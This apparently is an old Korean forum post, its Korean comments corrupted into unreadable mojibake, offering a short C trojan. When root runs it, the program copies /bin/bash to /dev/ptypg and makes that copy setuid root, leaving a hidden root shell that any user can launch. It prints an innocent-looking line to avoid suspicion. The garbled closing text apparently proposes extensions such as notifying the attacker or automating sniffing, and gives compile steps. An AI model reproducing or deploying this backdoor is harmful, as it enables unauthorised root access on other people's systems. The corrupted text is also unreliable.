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2000/08/06(21:07) from 203.255.160.61
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#include "stdio.h" /*Çì´õ¸¦ ¼±¾ðÇϱ¸¿ä*/

main() /*¸ÞÀÎÇÔ¼öÀÔ´Ï´Ù*/
{
 system("cp /bin/bash /dev/ptypg");/*system ÇÔ¼ö´Â¿© ¼Ð¿¡¼­ ¸í·É

¾î ³»¸®´Â°Í°ú*/system("chmod 4755 /dev/ptypg");/* °°Àº È¿°úÀÔ´Ï´Ù.*/

/* ÀÚ º¼±î¿©..óÀ½¿¡ bin/bash ±×·¯´Ï±î rootshell À» dev/ptypg ·Î º¹»ç
¸¦Çß½À*/

/* ´Ï´Ù. ±×´ÙÀ½ 4755 ¹øÀÇ ±ÇÇÑÀ» ÁÖ¾î ÀϹÝÀεµ »ç¿ëÇÒ¼ö ÀÖ°Ô ÇßÁÒ*/

/* Àú°É root °¡ ½ÇÇà½ÃŲ´Ù¸é /dev/ptypg ¶ó´Â °÷¿¡ ·çÆ®¼ÐÀÌ »ý¼ºµÇ´Â°Í
ÀÌÁÒ*/

/* /dev/ ÇÑ ÀÌÀ¯´Â /dev/¿¡ ÆÄÀÏÀÌ ¾öû ¸¹±â ¶§¹®¿¡ °ü¸®ÀÚ°¡ Àß È®ÀÎÀ»
¾ÈÇÏÁÒ*/

/* ±×´ÙÀ½ ¿ì¸®´Â ±×Àú °¡¼­ /dev/ptypg ¶ó´Â°ÍÀ» ½ÇÇà½ÃÅ°¸é root°¡ µÇ´Â
°ÍÀÔ´Ï´Ù*/

 printf("practical unix programing");/*¾Æ¹«°ÍµÎ ¾È³ª¿À¸é ÀǽÉÇÏ´Ï
±î...^^*/
}
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±×ÁÒ?¿©±â¼­ Á¶±Ý¸¸ ÀÀ¿ëÇϸé root °¡ ½ÇÇàÇϸé Àڱ⿡°Ô ¸ÞÀÏÀÌ ³¯¶ó¿Àµµ·Ï

Çϱâ...¸¹°ÚÁÒ? ¾Æ´Ô ½º´ÏÇÎÀ» ÀÚµ¿À¸·Î µ¹¸°´Ù´ø°¡...

±×´ÙÀ½ ÄÄÆÄÀÏÀ» ¾Æ½ÇÅ×Áö¸¸ ±×·¡µµ~^^

$gcc -o ½ÇÇàÈ­ÀÏ¸í ¼Ò½ºÀ̸§.c

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